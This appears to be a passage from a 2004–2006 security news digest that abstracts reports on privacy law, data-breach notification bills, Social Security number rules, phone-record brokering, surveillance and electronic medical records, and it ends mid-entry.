38.6 US case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-02 **blogs weblog Apple Tiger EFF journalism privacy rights sources**

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-02-02-about-a-blog_x.htm

WHO GETS TO DECIDE WHAT JOURNALISM IS?

A California court will soon decide whether bloggers have the same legal protections as journalists under "shield" laws that protect reporters from revealing their sources. Electronic Frontier Foundation attorney Kurt Opsahl, who represents two bloggers targeted by Apple for leaking information about new company products, maintains that if the bloggers are forced to give up their sources "the public will lose out on a vital outlet for independent news, analysis, and commentary." An opposing view is offered by University of Iowa law professor Randall Bezanson, who says that simply expressing opinions to a tiny audience isn't journalism -- because if it were "then I'm a journalist when I write a letter to my mother reporting on what I'm doing. I don't think the free-press clause [of the U.S. Constitution] was intended to extend its protections to letters to mothers from sons." (USA Today 2 Feb 2005)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-08 **voyeur state law legal privacy**

NewsScan; http://www.usatoday.com/tech/news/2005-02-08-video-voyeur_x.htm

VIDEO VOYEURS

Prosecutors across the country have been finding that loopholes in state laws make it difficult to convict individuals who shoot voyeuristic "upskirting" or "downblousing" videos of teenagers at public places like the local mall. Most states with video voyeurism laws prohibit unauthorized videotaping or photographing of people who are in private areas, such as dressing rooms, or in situations where they have "a reasonable expectation of privacy" -- but public places pose a different problem. One Virginia state delegate says, "It's certainly immoral, it's certainly wrong, but under the code, it's just not a written offense. We're trying to tighten the code so some pervert isn't able to do that." But attorney Lawrence Walters counters: "Certainly it's a good idea to stop perverts from filming down women's blouses or up little girls' skirts. But we have to step back as a society once we get past that visceral reaction and think this through." Mary Lou Leary of the National Center for Victims of Crime suggests that the problem is the public's diminished expectation of a right to privacy: "We're used to the notion that if you're in a public place, you can take pictures and you can be photographed." (AP/USA Today 8 Feb 2005)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-15 **law legal spyware Florida wiretapping**

NewsScan; http://news.com.com/Court+Wife+broke+law+with+spyware/2100-1030_3-5577979.html

WIFE BROKE LAW IN USING SPYWARE

A Florida appeals court has ruled that a suspicious wife, who installed spyware on her husband's computer to secretly monitor and record his electronic interactions with another woman, violated Florida's wiretapping law. The law says anyone who "intentionally intercepts" any "electronic communication" commits a criminal act. The wife had argued that her use of Spector spyware should be viewed as similar to reading a stored file on her husband's computer. But Judge Donald Grincewicz wrote that "because the spyware installed by the wife intercepted the electronic communication contemporaneously with transmission, copied it and routed the copy to a file in the computer's hard drive, the electronic communications were intercepted in violation of the Florida Act." (CNet News.com 15 Feb 2005)

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-03-15 **privacy concerns data information disclosure identity ID theft Social Security Number use restrictions lawmakers laws**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7911154

U.S. CONSIDERS RESTRICTIONS ON SOCIAL SECURITY NUMBERS

Following recent incidents that exposed personal information on more than 175,000 individuals, U.S. lawmakers are considering placing new restrictions on companies that gather and sell such information. Relatively few regulations apply to companies such as ChoicePoint and LexisNexis that collect data about driving records, financial records, and other sensitive information. Social Security numbers appear to be at the crux of the issue: because they are unique, data companies rely on Social Security numbers to distinguish individuals, but the numbers are also a powerful weapon in the hands of identity thieves, who can use them to access confidential records, open new accounts, and wreak havoc with a person's privacy. At separate hearings in the House and the Senate, legislators discussed laws that would require data companies to notify any individual before they sell that person's Social Security number. Other suggestions included requiring disclosure of any incident that exposes sensitive information. Don McGuffey, vice president of ChoicePoint, which recently sold 145,000 records to identity thieves, told a Senate hearing that personal information had been compromised by his company in "a handful" of other incidents that were not made public. Reuters, 15 March 2005

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-03-24 **federal agencies bank security breach customer disclosure Fair and Accurate Credit Transactions Act FACT**

EDUPAGE; http://www.pcworld.com/news/article/0,aid,120168,00.asp

FEDS ORDER BANKS TO DISCLOSE BREACHES

Four federal agencies have released regulations requiring banks and other financial institutions to notify customers when a security breach presents a risk that their personal information may be misused. The Federal Reserve, the Federal Deposit Insurance Corporation, the Office of the Comptroller of the Currency, and the Office of Thrift Supervision deliberated for 18 months on how federal legislation, including the Fair and Accurate Credit Transactions (FACT) Act, should be interpreted. The resulting "guidance" stipulates that when personal information is accessed without authorization and misuse of that information has occurred or is reasonably possible, institutions must notify affected customers "as soon as possible." In all cases, even those that do not meet the standard set for notifying customers, institutions must notify their primary federal regulators of the breach. Delays in notifying customers are permissible if such notification is determined to jeopardize an investigation into the breach. PCWorld, 24 March 2005

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-07-28 **Congress measures Personal Data Privacy and Security Act FTC Social Security Number sale**

EDUPAGE; http://news.com.com/2100-7348_3-5808894.html

CONGRESS GETS SERIOUS ABOUT DATA PRIVACY

Ahead of its August recess, Congress moved data-security measures to the top of its agenda, with various House and Senate committees considering three different bills dealing with the protection of sensitive information. The broadest legislation being considered is the Personal Data Privacy and Security Act, which would place new restrictions on how personal information may be used and imposes criminal penalties for those found to have violated it. The bill would limit the sale and publication of Social Security numbers, require notification of consumers in the event their personal data is compromised, and restrict the authority of the states in writing their own regulations for data protection. Other bills working their way through the Senate include similar requirements that consumers be notified of data breaches, but they only include civil penalties. The other measures, including one passed by the Senate Commerce Committee, place oversight and enforcement authority with the Federal Trade Commission (FTC). Critics of the proposed legislation argue that it is being rushed through without proper discussion. CNET, 28 July 2005

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-09-01 **civil liberties privacy concerns USA PATRIOT Act government surveillance Supreme Court decision Connecticut library FBI investigation ACLU lawsuit litigation**

EDUPAGE; http://chronicle.com/daily/2005/09/2005090102t.htm

NO DECISION YET FROM JUDGE ON U.S.A.P.A.T.R.I.O.T ACT CASE

U.S. District Court Judge Janet C. Hall has postponed deciding whether a Connecticut library may publicly disclose its identity as the institution whose records have been sought by the FBI under the U.S.A.P.A.T.R.I.O.T. Act. The act forces any organization whose records have been subpoenaed to be silent about the investigation, but the library in question and the American Civil Liberties Union have filed a suit, alleging that such restrictions are unconstitutional. Hall heard arguments from both sides this week but declined to issue a ruling until she hears more from the FBI. Observers noted that Hall seemed dubious of the government's claim that identifying the library would threaten the investigation. She said the FBI must demonstrate that risk, which it so far has not done. Pointing out that controversial provisions of the U.S.A.P.A.T.R.I.O.T. Act are under review by Congress, Hall suggested that allowing the public to see how the law is being applied could be an important factor in deciding whether the act will be extended. Chronicle of Higher Education, 1 September 2005 (sub. req'd)

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-09-21 **information technology association America ITAA Congress law data security breach**

EDUPAGE; http://www.fcw.com/article90869-09-21-05-Web

ITAA CALLS FOR NATIONAL DATA-BREACH NOTIFICATION LAW

The Information Technology Association of America (ITAA) has called on Congress to pass federal legislation that would specify the conditions under which companies and government agencies would be required to notify consumers regarding breaches of data security. According to Greg Garcia, vice president of information security programs and policy at the ITAA, 17 states have passed such laws, 8 of which have gone into effect. The ITAA recommends a federal law that would provide clear definitions of data breaches, identify circumstances under which notification would be required, and detail the ways in which notification must take place. Furthermore, the ITAA said a federal data-breach law should take precedence over state laws that might otherwise weaken the federal law. Both houses of Congress have taken up the topic of requiring notification, but so far only one bill, sponsored by Sen. Dianne Feinstein (D-Calif.), has been introduced. Federal Computer Week, 21 September 2005

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-12-06 **California law bill data security standards privacy protection state government efforts**

EDUPAGE; http://chronicle.com/daily/2005/12/2005120601t.htm

CALIFORNIA LAW SETS NEW DATA-SECURITY STANDARDS

California has passed a new data-protection law that may serve as a model for other states, despite the reaction of academic researchers, many of whom see it as an obstacle to their efforts at conducting research efficiently. The new law is intended to safeguard individuals' personal information when it is used by any research organization. Under the law, before any state agency may release personal data, the state's Committee for the Protection of Human Subjects must assess the research and determine whether it would adequately protect the requested data. Researchers seeking data from state agencies must show that the data are necessary; ensure that data are destroyed or returned when the project is completed; and, when possible, use information other than Social Security numbers as unique identifiers for subjects. Academic researchers largely object to the new law, saying it will impede some aspects of their research. Chronicle of Higher Education, 6 December 2005 (sub. req'd)

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-12-11 **cell mobile phone tracking privacy surveillance law enforcement probable cause court case lawsuit litigation**

RISKS; http://tinyurl.com/b4fhk 24 12

CELLPHONE TRACKING AND PRIVACY

Cellular operators know, within about 300 yards, the location of their subscribers whenever a phone is turned on. The operators have said that they turn over location information when presented with a court order to do so. However, in the last four months, three federal judges have denied prosecutors the right to get cellphone tracking information from wireless companies without first showing "probable cause" to believe that a crime has been or is being committed. That is the same standard applied to requests for search warrants.

[Abstract by Peter G. Neumann]

Dr Neumann notes: "Missouri has granted a contract for statewide cell-phone tracking."

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-12-15 **US government surveillance FTC policing bill Undertaking Spam Spyware Fraud Enforcement Enforcers Beyond Borders Act 2005**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5996703.html

SENATE PANEL PROPOSES NEW FTC POLICING POWERS

A bill approved by a U.S. Senate panel would give the Federal Trade Commission (FTC) increased policing power and the authority to share with foreign governments information about spammers and others suspected of illegal acts. Called the Undertaking Spam, Spyware, and Fraud Enforcement with Enforcers Beyond Borders Act of 2005, the proposal mimics legislation requested by the FTC two years ago that roused objections from civil liberties groups and was not enacted. Collaboration with foreign law enforcement agencies would permit the commission to address problems such as spyware and telemarketing fraud that cross national borders. It has yet to be debated by the full Senate and U.S. House of Representatives. ZDNet, 15 December 2005

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2005-12-15 **Internet policing privacy FTC act spam control foreign governments**

DHS IAIP Daily; http://news.zdnet.com/2100−9588_22−5996703.html

SENATE PANEL APPROVES MORE INTERNET-POLICING POWERS

The Federal Trade Commission (FTC) would gain expanded policing powers and could share information about spammers and other miscreants with foreign governments under a bill approved Thursday, December 15, by a U.S. Senate panel. Called the Undertaking Spam, Spyware, and Fraud Enforcement with Enforcers Beyond Borders Act of 2005, the proposal is nearly identical to legislation pushed by the FTC itself two years ago that drew concerns from civil liberties groups and was never enacted. In essence, the bill would expand existing FTC powers so that the agency could go after any "unfair or deceptive practices" that are likely to cause "foreseeable injury" on U.S. soil or involve conduct in the United States. Intended by its sponsors to help combat such menaces as spam, spyware and telemarketing fraud carried out on international turf, the bill would allow the FTC to collaborate with foreign law enforcement agencies and swap information on a reciprocal basis. Further detail on this Act can be found at: http://thomas.loc.gov/cgi-bin/bdquery/z?d109:s.01608:

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-01-26 **phone record privacy politician plea regulation FCC**

DHS IAIP Daily;
http://news.com.com/Politicians+call+for+better+phone+record +privacy/2100−1036_3−6031916.html?tag=cd.top

POLITICIANS CALL FOR BETTER PHONE RECORD PRIVACY.

In response to disclosures about phone records being sold on the Internet, politicians want federal regulators to verify that the biggest service providers are adequately protecting their customers' information. According to a letter sent by the chairmen of the U.S. House of Representatives Energy and Commerce Committee, all telecommunications providers must "certify annually" with the Federal Communications Commission (FCC) that they are in compliance with the federal rules. The politicians asked the FCC to turn over the latest certifications from the five largest wireless and wireline providers, along with statements from the companies describing "how their internal procedures protect the confidentiality of consumer information." Citing their ongoing investigation about the matter, the legislators imposed a Monday, January 30, deadline. The House returns from its winter recess Tuesday, January 31. The issue of the illicit brokering of phone records has drawn attention recently, with carriers such as T-Mobile, Verizon Wireless and Cingular Wireless and also the state of Illinois filing suits against third-party brokers accused of the practice. On Monday, January 23, T-Mobile landed a temporary restraining order, which prohibits at least two companies from directly or indirectly obtaining its customers' information. Letter sent by the chairman of the U.S. House of Representatives Energy and Commerce Committee: http://markey.house.gov/docs/privacy/iss_privacy_ltr060123.pdf

---

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-02-01 **Congress hearing cell-phone customer privacy wiretapping data disclosure theft**

EDUPAGE; http://news.zdnet.com/2100-1035_22-6033688.html

CONGRESS HOLDS HEARINGS ON CELL-PHONE CUSTOMER PRIVACY

A Congressional hearing this week will address cell phone companies' efforts to protect the privacy of their customers. The hearing comes after recent revelations that a number of data brokers have been able to con cell phone companies into disclosing data about customers and their calling habits, which was then sold to third parties. The premise is that certain individuals, such as attorneys, might want details of cell phone calls, and data brokers supply that data. Cell phone companies and some members of Congress, however, object to the methods that data brokers use to obtain that information, including posing as people they are not and using information such as Social Security numbers without authorization. Some critics have pointed to weak policies and practices among cell phone companies for protecting such data as the root of the problem. Rep. Joe L. Barton (R-Tex.), chairman of the House Energy and Commerce Committee, said in a statement that he intends to make the practice of fraudulently obtaining such data "very illegal."

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-02-06 **Microsoft Washington state lawsuit anti-spyware company Secure Company Spyware Cleaner ineffective dangerous charge**

DHS IAIP Daily;
http://computerworld.co.nz/news.nsf/scrt/F03EF851B098CED6CC25710900776B50

MICROSOFT AND WASHINGTON STATE SUE SPYWARE COMPANY.

Microsoft and the Washington state attorney general have filed lawsuits against antispyware software vendor Secure Computer, alleging that the company's Spyware Cleaner software not only fails to remove spyware as advertised, but makes changes to users ' computers that make them less secure. The attorney general's lawsuit is the state's first to be filed under Washington's 2005 Computer Spyware Act. Washington's 16-count lawsuit was filed in U.S. District Court in Seattle and follows investigations by both Microsoft and the Attorney General's high tech fraud unit. The state's lawsuit also names Secure Computer president Paul Burke and Web domain owner Gary Preston, both of New York state, as defendants. It further charges Zhijian Chen, of Portland, OR; Seth Traub, of Portsmouth, NH; and Manoj Kumar, of Maharashtra, India, in connection with the advertising of the product. Microsoft has also sued Secure Computer, alleging that the company's Spyware Cleaner e-mail and pop-up advertisements falsely suggested that Microsoft endorsed the product, says Nancy Anderson, vice president and deputy general counsel with Microsoft.

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-02-14 **court ruling unencrypted data okay negligence lawsuit rejection GLB Act compliance**

EDUPAGE; http://news.com.com/2100-1030_3-6039645.html

COURT SAYS UNENCRYPTED DATA OKAY

A federal judge in Minnesota has dismissed a case alleging that a student loan company was negligent in not encrypting customer data. The case was filed by Stacy Lawton Guin after a laptop containing unencrypted data on about 550,000 customers of Brazos Higher Education Service was stolen from an employee's home in 2004. Although he was not harmed by the loss of his personal information--indeed, there have been no reports of any fraud committed with the stolen information--Guin argued that the Gramm-Leach-Bliley (GLB) Act required Brazos to encrypt the data. Judge Richard Kyle rejected that claim, noting that the legislation does not specifically require encryption. The law states that financial services companies must "protect the security and confidentiality of customers' nonpublic personal information," but, according to Kyle's decision, "The GLB Act does not prohibit someone from working with sensitive data on a laptop computer in a home office."

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-03-06 **anonymity Internet Web USENET BBS postings prohibition law bill proposal**

RISKS; Slashdot http://yro.slashdot.org/article.pl?sid=06/03/06/1736234 24 18

NEW JERSEY BILL WOULD HAVE BANNED ANONYMOUS POSTINGS

A firestorm broke out on Slashdot and other Internet-centric discussion sites after someone posted the following announcement: "The New Jersey legislature is considering a bill that would require operators of public forums to collect users' legal names and addresses, and effectively disallow anonymous speech on online forums. This raises some serious issues, such as to what extent local and state governments can go in enacting and enforcing Internet legislation."

Vigorous discussion ensued, including this cogent posting by "orthogonal":

MR. JUSTICE Hugo Black, writing for the Supreme Court of the United States in Talley v. California, 362 U.S. 60 (1960), declaring unconstitutional a California ordinance requiring that handbills and pamphlets be signed:

>Anonymous pamphlets, leaflets, brochures and even books have played an important role in the progress of mankind. Persecuted groups and sects from time to time throughout history have been able to criticize oppressive practices and laws either anonymously or not at all. The obnoxious press licensing law of England, which was also enforced on the Colonies was due in part to the knowledge that exposure of the names of printers, writers and distributors would lessen the circulation of literature critical of the government. The old seditious libel cases in England show the lengths to which government had to go to find out who was responsible for books that were obnoxious [362 U.S. 60, 65] to the rulers. John Lilburne was whipped, pilloried and fined for refusing to answer questions designed to get evidence to convict him or someone else for the secret distribution of books in England. Two Puritan Ministers, John Penry and John Udal, were sentenced to death on charges that they were responsible for writing, printing or publishing books…. Before the Revolutionary War colonial patriots frequently had to conceal their authorship or distribution of literature that easily could have brought down on them prosecutions by English-controlled courts. Along about that time the Letters of Junius were written and the identity of their author is unknown to this day. Even the Federalist Papers, written in favor of the adoption of our Constitution, were published under fictitious names. It is plain that anonymity has sometimes been assumed for the most constructive purposes.

We have recently had occasion to hold in two cases that there are times and circumstances when States may not compel members of groups engaged in the dissemination of ideas to be publicly identified. Bates v. Little Rock, 361 U.S. 516 ; N. A. A. C. P. v. Alabama, 357 U.S. 449, 462 . The reason for those holdings was that identification and fear of reprisal might deter perfectly peaceful discussions of public matters of importance. This broad Los Angeles ordinance is subject to the same infirmity. We hold that it, like the Griffin, Georgia, ordinance, is void on its face. [362 U.S. 60, 66]<

[MK notes that by June 2006, the NJ legislature's Web site no longer had any reference to the proposed bill.]

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2006-03-24 **US legislation data-protection bill DATA identity theft**

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3594136

LEGISLATORS AGREE ON DATA-BREACH TERMS

Members of a House committee have agreed on compromise language in a data-protection bill intended to provide increased protections for sensitive consumer information. The Data Accountability and Trust Act (DATA) includes definitions of when organizations must report a data breach to customers and requires companies that handle such information to meet minimum standards for protecting sensitive data. In its original form, the bill only required disclosure if an event carried a "significant risk" of identity theft. The compromise language mandates notification if a "reasonable threat" exists. The bill requires data stewards to take "reasonable" precautions against data theft and to perform periodic assessments to verify that data has not been compromised. Rep. Joe Barton (R-Tex.), chair of the Energy and Commerce Committee, said the existing statutes for data protection "are so flimsy they're laughable." Rep. John Dingell (D-Mich.) said the DATA bill "focuses on strong security systems, notice to consumers of breaches, and tough enforcement."

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2006-03-31 **US Senate phone record privacy bill legislation protection penalties violation**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1944817,00.asp

U.S. SENATE PANEL BACKS PHONE RECORD PRIVACY BILL.

The U.S. Senate Commerce Committee Thursday, March 30, approved legislation to protect consumers' telephone records by making it illegal to sell such information without consent. The measure would boost penalties to as much as $30,000 per incident and up to $3 million for continuing violations by telephone companies that fail to properly safeguard consumer information. The bill would also require carriers to inform consumers if their information was accessed without permission.

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2006-05-11 **Congress debate SSN restrictions identity theft fraud detection**

EDUPAGE; http://news.com.com/2100-7348_3-6071441.html

CONGRESS DEBATES SSN RESTRICTIONS

Members of Congress have vowed to enact legislation by the end of the year that will restrict use of Social Security numbers (SSNs), which have become a prime target of identity thieves. Several bills are before Congress now, including one introduced by Edward Markey (D-Mass.) and another by Clay Shaw (R-Fla.). Joe Barton (R-Tex.) said the current practice of allowing data brokers to sell SSNs to anyone able to pay for them should be banned outright. Federal Trade Commissioner Jon Leibowitz said SSNs are "overused" and "underprotected." Officials from financial services institutions cautioned, however, that appropriate use of SSNs is invaluable for sectors such as theirs. Oliver Ireland, representing the Financial Services Coordinating Council, said SSNs "are critical for fraud detection."

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s

2006-05-12 **data breach legislation discuss Consumer Data Protection Act**

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3605666

DATA-BREACH LEGISLATION ON THE AGENDA

Rep. James Sensenbrenner (R-Wis.), chairman of the House Judiciary Committee, has introduced the Cybersecurity Enhancement and Consumer Data Protection Act of 2006, which would require notification of government officials--but not of those affected--any time a computer breach exposes data for 10,000 or more individuals. Data-breach bills have previously been introduced by the House Financial Services Committee and the House Commerce Committee, with varying requirements for notification. In the Senate, two bills have been introduced in the Judiciary Committee and a third in the Commerce Committee. Some observers are concerned that the competing federal legislation, which would likely supersede any state laws concerning data-breach disclosure, risks being reconciled into a law that would be worse than if no law were passed. Susanna Montezemolo of the Consumers Union expressed support for one of the Senate bills, the Personal Data Privacy and Security Act, which has been approved by committee and is waiting for a vote in the full Senate.

Category 38.6 *US case law, legislation & regulation concerning individual privacy (not govt s*

2006-05-16 **identification authentication Social Security Number SSN theory misunderstanding politicians Congress laws mistake problem design flaw error misunderstanding ignorance**

RISKS 24 29

SSNs AS BOTH IDENTIFICATION AND AUTHENTICATION

Jeremy Epstein noted in RISKS that politicians do not necessarily understand security fundamentals. In congressional testimony from the American Financial Services Association, the spokesperson said, ""The Social Security number is the only unique identifier in our country that enables a credit grantor, or a credit bureau, or a bank, or an insurance company, or an investment firm to be sure that the consumer they are doing business with [is legitimate]." Epstein explained, "In other words, they're using it as both an identifier and an authenticator." He also wrote, "Switching to a different number … that is used for both purposes will have the same problem."

His final words were important: "Until Congress understands the problem, there's not much hope of solving it through legislation."

38.7 Other case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.7 *Other case law, legislation & regulation concerning individual privacy (not govt*

2005-02-02 **Greece ban e-mail snooping DPA workers employee privacy remote control law legislation**

NewsScan; http://australianit.news.com.au/articles/0

GREECE BANS E-MAIL SNOOPING

Greece's personal data watchdog has ordered companies not to violate employee privacy by snooping into their private e-mail. The independent Data Protection Authority (DPA), whose decisions are binding, has barred firms from collecting and processing information on workers' communications, including e-mail. The decision did not include fines. The authority acted on a complaint by the workers' union of an unnamed company, alleging the company remote-controlled employees' computers through virtual network control, specialized software that transmits the screen and keyboard and mouse clicks between two computers on a network. (The Australian 2 Feb 2005)

Category 38.7 *Other case law, legislation & regulation concerning individual privacy (not govt*

2005-02-22 **Singapore coordinated cybersecurity effort Government officials Internet law monitoring activity networks threats United States Australia**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7698536

SINGAPORE PLANS COORDINATED CYBERSECURITY EFFORT

Government officials in Singapore announced that the country will spend $23 million over three years on a centralized program to increase cybersecurity. Singapore is one of the world's most wired countries, with a residential Internet access rate of 50-60 percent. The country also has some of the strictest regulation of computer systems, including a law that allows government monitoring of all computer activity. The law also allows preemptive action by the government to prevent anticipated cybersecurity threats. The new initiative, the National Cyber-Threat Monitoring Center, will monitor networks, looking for evidence of hacking or other cyber threats. The center, which is expected to be running by the second half of 2006, will work with similar centers in countries including the United States and Australia. Deputy Prime Minister Tony Tan, who is also Singapore's Coordinating Minister for Security and Defense, said, "Infocomm security is as important in protecting Singapore as is physical security at our borders."

38.8 Law enforcement & privacy rights

Category 38.8 Law enforcement & privacy rights

2005-01-18 **Internet broadcast court prediction online video privacy public broadcast trials**

NewsScan; http://www.usatoday.com/tech/news/2005-01-18-sentenced-online_x.htm

WILD WEB JUSTICE

Ohio trial court judge James L. Kimbler has set up a personal Sony digital camcorder in his courtroom and using it to post online video of people being sentenced for robbery, rape and other crimes. Kimbler says, "It's all public record anyway. If the general public and law students know what we do it increases their understanding." Lloyd Snyder, a professor of legal ethics, predicts: "This is coming. With 'Court TV' available, people are getting used to having things like this out there, and it's also entertainment. It is the right of the defendant to be tried in the open. There is no correlative right for a defendant to have a private trial." (AP/USA Today 18 Jan 2005)

Category 38.8 Law enforcement & privacy rights

2005-01-19 **Carnivore dead Congress FBI surveillance federal officials electronic communications privacy software**

EDUPAGE; http://news.com.com/2100-1028_3-5541483.html

CARNIVORE IS DEAD

According to two recent reports to Congress, the FBI has put an end to its electronic surveillance tool, known as Carnivore. Despite claims from federal officials that they need expanded access to electronic communications, the system was widely criticized by civil liberties groups as being overly invasive and for not respecting individuals' privacy. The reports, which the Electronic Privacy Information Center obtained under the Freedom of Information Act, note that the FBI did not use the system for fiscal years 2002 and 2003 and instead used commercially available monitoring software. According to the reports, the FBI engaged in court-ordered Internet surveillance 13 times during those years.

Category 38.8 Law enforcement & privacy rights

2005-02-25 **homeland security privacy committee bias corporate influence representation protests**

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10991077.htm

PRIVACY ISSUES AND THE DEPARTMENT OF HOMELAND SECURITY

Privacy advocates are saying that a committee set up to advise the Homeland Security Department on privacy issues is skewed too heavily toward corporations such as Intel, Computer Associates, IBM, and Oracle. George Washington University Law School professor and privacy expert Daniel Solove says, "The strong privacy advocacy community seems underrepresented on this list." But Homeland Security Chief Privacy Officer Nuala O'Connor Kelly says the committee represents a cross-section of viewpoints, including people "who have gone to companies that have had challenges and tried to fix them." She pointed to several privacy advocates on the board: Tara Lemmey, former executive director of the Electronic Frontier Foundation; Lance Hoffman, a George Washington University professor; and James Harper, editor of Privacilla.org and a strong critic of government surveillance. (AP/San Jose Mercury News 25 Feb 2005)

Category 38.8 Law enforcement & privacy rights

2005-07-22 **GAO TSA privacy violations Secure Flight program terrorism anti-terrorism**

EDUPAGE; http://www.fcw.com/article89670-07-22-05-Web

GAO SAYS TSA CLEANING UP SECURE FLIGHT

According to the Government Accountability Office (GAO), the Transportation Security Administration (TSA) has adequately addressed concerns raised by the GAO over privacy violations in the Secure Flight program. The program is designed to safeguard the nation's air travel system by identifying suspected terrorists and preventing them from boarding planes. During a test of the program, TSA collected commercial information on air passengers, violating its privacy policy, according to the GAO. TSA used the commercial data in conjunction with passenger information to increase the reliability of the Secure Flight system, but the result was that air passengers were unable to know what information about them was being collected and how it was being used.
In a report, the GAO said that after being notified of the problems, TSA acted immediately to address the issues raised. Aside from not using commercial data in the Secure Flight program, TSA also said its chief privacy officer and general counsel would ensure that activities related to the Secure Flight program would be explicitly detailed in its privacy notices. Federal Computer Week, 22 July 2005

Category 38.8 Law enforcement & privacy rights

2005-10-19 **Sleuths tacking code color printers serial EFF San Franisco Secret Service**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/content/article/2005/10/18/AR2005101801663.html?referrer=email

SLEUTHS CRACK TRACKING CODE DISCOVERED IN COLOR PRINTERS

An invisible bar code of sorts that contains the serial number of the printer as well as the date and time a document was printed has been cracked by the Electronic Frontier Foundation (EFF), a San Francisco consumer privacy group. According to U.S. Secret Service spokesperson Eric Zahren, "It's strictly a countermeasure to prevent illegal activity specific to counterfeiting. It's to protect our currency and to protect people's hard-earned money. "

Category 38.8 Law enforcement & privacy rights

2005-10-23 **Colleges upgrade Federal Communications Commission Internet networks law monitor Internet Philadelphia San Francisco**

DHS IAIP Daily; http://www.nytimes.com/2005/10/23/technology/23college.html

COLLEGES PROTEST CALL TO UPGRADE ONLINE SYSTEMS

The Federal Communications Commission is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. This order extends the provisions of a 1994 wiretap law to universities, libraries, airports providing wireless service and commercial Internet access providers and municipalities that provide Internet access to residents, such as Philadelphia and San Francisco. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least $7 billion while doing little to apprehend lawbreakers. The Justice Department requested the order last year, saying that new technologies like telephone service over the Internet were endangering law enforcement's ability to conduct wiretaps "in their fight against criminals, terrorists and spies."

38.9 Medical information & HIPAA

Category 38.9 Medical information & HIPAA

2004-12-07 **medical records Massachusetts eHealth pilot project doctors patients**

NewsScan; http://www.latimes.com/technology/ats-ap_technology14dec07

MEDICAL RECORDS-SHARING IN MASSACHUSETTS

If a new Massachusetts "eHealth" pilot project is successful, physicians in that state will be able to access patients' records from any hospital or clinic by computer. Gov. Mitt Romney says that switching from paper records to easily shared electronic records could save the state millions of dollars while improving patient safety and quality of care. He has given assurances that the system will have strict controls to allow patients to control who sees their records. (AP/Los Angeles times 7 Dec 2004)

Category 38.9 Medical information & HIPAA

2005-01-19 **national health medical network recommendations policy financing standards interoperability**

NewsScan; http://www.nytimes.com/2005/01/19/technology/19health.html

ROAD MAP LAYS OUT THE ROUTE TO DIGITAL HEALTH RECORDS

A group of 13 health and information technology organizations have presented the Bush administration with recommendations for a "national road map" for development of a national health information network. The 54-page document borrows heavily from the technical and policy approach of the Internet, suggesting that the federal government limit its involvement to initial financing and endorsement of basic technical standards. A separate "standards and policy entity" would then take over management of the proposed system. The report concluded that a national health network should not include a central database of patient records, nor should it require people to carry "health ID cards." Patients would control their own records, and the optimal design of the network would use open, standard technology for maximum interoperability of disparate systems. Many medical groups have begun investing in creating local networks that connect electronic patient records and the study warns that failure to move swiftly to establish open communications standards between these networks may result in a large savings opportunity lost. "If we're not careful, we'll have little islands of excellence that don't talk to each other," says Jan Walker, lead author of a separate article on the subject recently published in Health Affairs. (New York Times 19 Jan 2005)

Category 38.9 Medical information & HIPAA

2005-01-26 **national health network medical companies nonproprietary standards software plans proposal project**

NewsScan; http://www.nytimes.com/2005/01/26/technology/26health.html

PREPARING FOR A DIGITAL HEALTH NETWORK

Eight leading high-tech companies -- IBM, Microsoft, Intel, Oracle, Accenture, Cisco, Hewlett-Packard and Computer Sciences -- have agreed to adopt open, nonproprietary technology standards as the software building blocks for a national health information network, which the Bush administration hopes will improve care and reduce costs by moving to a digital system for handling patient records, clinical research, claims and payments. IBM executive Neil de Crescenzo says, "The challenge is to turn a call for change in the nation's health care system into actual change. We got together to try to speak with one voice to the federal government and other stakeholders, and say this is an approach we will all stand behind." (New York Times 26 Jan 2005)

Category 38.9 *Medical information & HIPAA*

2005-02-04 **Canada privacy medical outsource USAPATRIOT Act data mining leakage confidentiality ChoicePoint immigration customers employees activists**

NewsScan; http://www.wired.com/news/privacy/0

CANADIANS UP IN ARMS OVER HEALTH INFO PRIVACY

